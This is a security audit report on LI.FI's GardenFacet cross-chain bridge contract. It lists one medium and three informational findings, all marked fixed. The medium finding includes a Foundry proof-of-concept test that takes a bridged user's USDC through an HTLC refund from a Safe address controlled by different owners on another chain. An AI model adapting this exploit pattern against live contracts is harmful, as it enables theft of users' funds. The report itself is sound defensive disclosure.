BURRA SEC

LI.FI (GardenFacet v1.0.0) Security Review

Reviewed by: Goran Vladika, Ammar Voloder

19th September - 23rd September, 2025

LI.FI (GardenFacet v1.0.0) Security Review Report

Burra Security

October 8, 2025

Introduction

A time-boxed security review of the **LI.FI** protocol was done by **Burra Security** team, focusing on the security aspects of the smart contracts.

Disclaimer

A smart contract security review can never verify the complete absence of vulnerabilities. This is a time, resource, and expertise-bound effort where we try to find as many vulnerabilities as possible. We can not guarantee 100% security after the review or even if the review will find any vulnerabilities. Subsequent security reviews, bug bounty programs, and on-chain monitoring are recommended.

About Burra Security

Burra Sec offers security auditing and advisory services with a special focus on cross-chain and interoperability protocols and their integrations.

Security review team

Goran Vladika is a security researcher and smart contract engineer with five years of experience in the blockchain industry. After beginning his Web3 career in the DeFi space, Goran joined Offchain Labs as a blockchain engineer, where he contributed to the core smart contract components of Arbitrum. His work included the design, implementation, and security of Arbitrum's native bridge, token bridge and rollup stack, critical infrastructure that secures billions of dollars in TVL. This bridging technology has since been adopted by dozens of applications and L2 and L3 chains built using the Arbitrum Orbit stack. Goran's experience building cross-chain systems at both the protocol and application layers has provided him with a strong foundation in blockchain security. As a security researcher, he has helped secure leading projects in the interoperability space including Centrifuge, LiFi, PancakeSwap, ZetaChain and DODO, as well as L1/L2 protocols such as Telcoin and Citrea.

Ammar Voloder is a security researcher and software engineer with over 7 years of professional experience, including 3 years focused on the blockchain industry. Prior to his work in blockchain, he was part of IBM, where he contributed to enterprise-level software development projects. This focus continued during his time at EY, where he was involved in the design, development, and maintenance of blockchain-based solutions across a wide range of use cases, including, but not limited to, a tokenization platform in the logistics sector, a document notarization system, and a ticketing platform utilizing non-fungible tokens (NFTs). He was also part of a team responsible for conducting security assessments of smart contracts for clients. As a security researcher, he has helped secure protocols such as Hyperlend, StakeUp, stake.link, protocols in the RWA sector including RaaC and Plume Network, as well as several Layer 1 networks, including Movement and Flare.

About Garden Facet v1.0.0

The Garden Facet enables cross-chain token transfers using the Garden protocol's HTLC (Hash Time Locked Contracts) mechanism. It interfaces with Garden's registry to find the appropriate HTLC contract for each asset and initiates atomic swaps that can be redeemed on the destination chain using a secret.

Severity classification

Severity	Impact: High	Impact: Medium	Impact: Low
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

Impact - The technical, economic, and reputation damage from a successful attack

Likelihood - The chance that a particular vulnerability gets discovered and exploited

Severity - The overall criticality of the risk

Informational - Findings in this category are recommended changes for improving the structure, usability, and overall effectiveness of the system.

Security Assessment Summary

***review commit hash* - 79ffda31ccf4c48af914ccb209781bc521abeacd**

Scope

The following smart contracts were in the scope of the audit:

- src/Facet/GardenFacet.sol
- src/interfaces/IGarden.sol

Findings Summary

ID	Title	Severity	Status
M-1	Incorrect use of destination address for source chain refund rights	Medium	Resolved
I-1	Inconsistency in `timelock` descriptions between the interface and the facet	Info	Resolved
I-2	Inconsistency in `assetId` descriptions between the interface and the facet	Info	Resolved
I-3	Missing events for transfering to non-evm chains	Info	Resolved

Detailed Findings

[M-01] Incorrect use of destination address for source chain refund rights

Target

- GardenFacet.sol#L142..L164

Severity

- Impact: High
- Likelihood: Low

Description

The GardenFacet contract uses `_bridgeData.receiver` (intended as the destination chain address) as the initiator parameter when calling `initiateOnBehalf` (here and here), granting refund rights to this address on the source chain. This creates a vulnerability where funds can be stolen if someone else controls this address on the source chain, or stuck if no one controls the address.

When the timelock expires, whoever controls the `_bridgeData.receiver` address on the source chain can call `refund()` on Garden's HTLC to claim the locked funds. Timelocks expire when solvers don't execute the atomic swap - for example due to unfavorable market conditions, technical issues, or insufficient liquidity.

Attack scenarios include:

- Gnosis Safe with different owners: A Safe at address 0xabc might be controlled by different parties on different chains. This occurs either through post-deployment ownership changes or through legacy CREATE-opcode deployments where the same nonce produces the same address regardless of initial owners (as in the infamous Wintermute hack). If a user bridges from Arbitrum using their Ethereum Safe address as receiver, whoever controls that address on Arbitrum can steal the potential refund.
- contract not deployed on source chain: If the receiver address exists on the destination chain but not the source chain, and the address derivation is predictable, an attacker who knows the deployment parameters could deploy a contract they control to that address and claim the refund.

The core issue is that `_bridgeData.receiver` is meant to specify where funds arrive on the destination chain, but Garden's HTLC uses it to determine who can refund on the source chain - two completely different contexts.

Proof of Concept

Add this test case to `GardenFacetTest`. Test showcases the issue on Ethereum fork using one of the Safe wallets which has different set of owners on source and destination chains.

```
    function test_ReceiverAddressVulnerability_POC() public {
        // Setup - user controls a Safe at address 0x5ae..ca8 on Optimism, however different set of owners are on mainnet,
        // This can be easily verified:
        // Mainnet owners of 0x5ae..ca8 Safe:
        // cast call -r $ETH 0x5ae1216887b0dad5a82451efc5a6ec0a91473ca8 "getOwners() (address[])"
        //  [0xfA0530274fB5F6Deac382455bDA98cB18f3894A4, 0xd7EC859331e14F2CB38CC5e682445184b8394A3A, 0xa632c031714532DbfAa83551032cb4c13f838BA6, 0x57017dC0270bb96125AA4aBf0b6779a3b20be073, 0x5436689C5C424e97Bde4A738baCa768dEa51E1DA, 0xA8fa580C55BDC32e678f27EE9EAf608f2cE7fFfb]
        // OP owners of 0x5ae..ca8 Safe:
        // cast call -r $OP 0x5ae1216887b0dad5a82451efc5a6ec0a91473ca8 "getOwners() (address[])"
        //  [0x19e10e0BeC9F9559444F33c1C8E39C5664EEe47b, 0x3008E701E6354CbFF0d35A3BCD91bD6CeF25E945]
        address gnosisSafeWallet = address(0x5Ae1216887b0dAd5a82451EFC5a6EC0A91473cA8);

        // Victim sets up bridge data with their Optimism Safe address as receiver
```

```
        bridgeData.receiver = gnosisSafeWallet;
        bridgeData.destinationChainId = 10; // OP mainnet
        bridgeData.sendingAssetId = ADDRESS_USDC;
        bridgeData.minAmount = 100 * 10 ** usdc.decimals();

        // User approves USDC
        vm.startPrank(USER_SENDER);
        deal(ADDRESS_USDC, USER_SENDER, bridgeData.minAmount);
        usdc.approve(address(gardenFacet), bridgeData.minAmount);

        // Execute bridge through LiFi
        gardenFacet.startBridgeTokensViaGarden(bridgeData, validGardenData);

        vm.stopPrank();

        // Simulate timelock expiry (solver didn't complete swap due to changed market conditions)
        vm.roll(block.number + validGardenData.timelock + 1);

        // Snapshot attacker USDC balance before refund
        uint256 attackerBalanceBefore = usdc.balanceOf(gnosisSafeWallet);
        console2.log("Attacker balance after:", attackerBalanceBefore);

        // Attacker calls refund from their controlled Safe
        vm.startPrank(gnosisSafeWallet);
        bytes32 orderID = sha256(
            abi.encode(
                block.chainid,
                validGardenData.secretHash,
                gnosisSafeWallet, // initiator (refund recipient)
                validGardenData.redeemer,
                validGardenData.timelock,
                bridgeData.minAmount,
                USDC_HTLC
            )
        );
        IHTLC(USDC_HTLC).refund(orderID);

        // Confirm attacker received the funds
        uint256 attackerBalanceAfter = usdc.balanceOf(gnosisSafeWallet);
        console2.log("Attacker balance after:", attackerBalanceAfter);
    }
```

Running the test confirms the vulnerability:

```
ETH_NODE_URI_MAINNET=$ETH forge test --mt test_ReceiverAddressVulnerability_POC -vvv

```

```
Ran 1 test for test/solidity/Facets/GardenFacet.t.sol:GardenFacetTest
[PASS] test_ReceiverAddressVulnerability_POC() (gas: 388991)
Logs:
  Attacker balance after: 0
  Attacker balance after: 100000000
```

Recommendation

Add a separate `refundAddress` parameter to GardenData struct:

```
struct GardenData {
    address redeemer;
    address refundAddress;  // Address that can refund on source chain
    uint256 timelock;
    bytes32 secretHash;
}

// Use it as initiator
garden.initiateOnBehalf(
    _gardenData.refundAddress,  // User-provided source chain refund address
    _gardenData.redeemer,
    _gardenData.timelock,
    _bridgeData.minAmount,
    _gardenData.secretHash
);
```

Client

Fixed: https://github.com/lifinance/contracts/commit/7431c2d25d1106cc03542a9a29248c57f2e0f457

BurraSec

Fix verified.

[I-01] Inconsistency in `timelock` descriptions between the interface and the facet

Target

- GardenFacet.sol
- IGarden.sol

Severity

INFO

Description

A `timelock` parameter supplied to the function `initiateOnBehalf()` is described differently in the **IGarden** interface and **GardenFacet** facet, which might lead to confusion and false expectations when interacting with the protocol.

Specifically: - In the **IGarden** interface, `timelock` is described as *"block number when refund becomes available"*. - In the **GardenFacet**, it is described as *"number of blocks after which refund is possible (relative to current block)"*.

Recommendation

The interface description should be corrected, since according to the Garden Finance documentation, a `timelock` denotes the number of blocks after which a refund becomes possible.

Additionally, demo script uses wrong semantics (time instead of block offset) for the `timelock` default value.

Client

Fixed: https://github.com/lifinance/contracts/commit/01d64212abc5100ae0a71aecd9239e1f901b5645

BurraSec

Fix verified.

[I-02] Inconsistency in `assetId` descriptions between the interface and the facet

Target

- GardenFacet.sol
- IGarden.sol

Severity

INFO

Description

Comments in the **IGardenRegistry** interface and the **GardenFacet** regarding the `assetId` parameter supplied to the function `htlcs()` provide different indications of what asset ID should be used for native assets.

Specifically: - In the **IGardenRegistry** interface, `assetId` description indicates that the `address(0)` should be used for native assets. - In the **GardenFacet**, it is denoted that the Garden's standard native token address (`0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE`) should be used for native assets.

Recommendation

The interface description should be corrected, since according to the Garden Finance code, the Garden's standard native token address is `0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE`.

GardenFacet docs also needs update for registry lookup key, from NULL_ADDRESS to actual `0xee..ee` lookup address.

Client

Fixed: https://github.com/lifinance/contracts/commit/4bc0ccec7511a3d59513ba5e955eb10da9f74625

BurraSec

Fix verified.

[I-03] Missing events for transferring to non-evm chains

Target

- GardenFacet.sol

Severity

INFO

Description

Main use-case of Garden protocol is transferring BTC and its derivatives. Other facets typically emit `BridgeToNonEVMChain` event when destination chain is non-evm, however `GardenFacet` does not do that. Emitting `BridgeToNonEVMChain` can be a simple addition to make offchain indexing more convenient. Also, GardenData can be extended with `nonEvmReceiver` of type bytes32, as receiver on Bitcoin chain cannot fit in `bridgeData.receiver` anyway.

Note, since transfer details (like destination chain and receiver) are encoded in an off-chain order, there is no guarantee that emitted params are matching the actual transfer.

Recommendation

Add `nonEvmReceiver` and emit `BridgeToNonEVMChain` where applicable.

Client

Fixed: https://github.com/lifinance/contracts/pull/1344/commits/818de27b64a73879c91dbddc3195be03bafdc08f

BurraSec

Fix verified.

Addendum

The LI.FI team pushed a small change to the `GardenFacet.sol` file with the following commit: 9d8d405a99e4b01f446451f6075deda605f04fee. The Burra Security team reviewed the changes and verified there are no issues.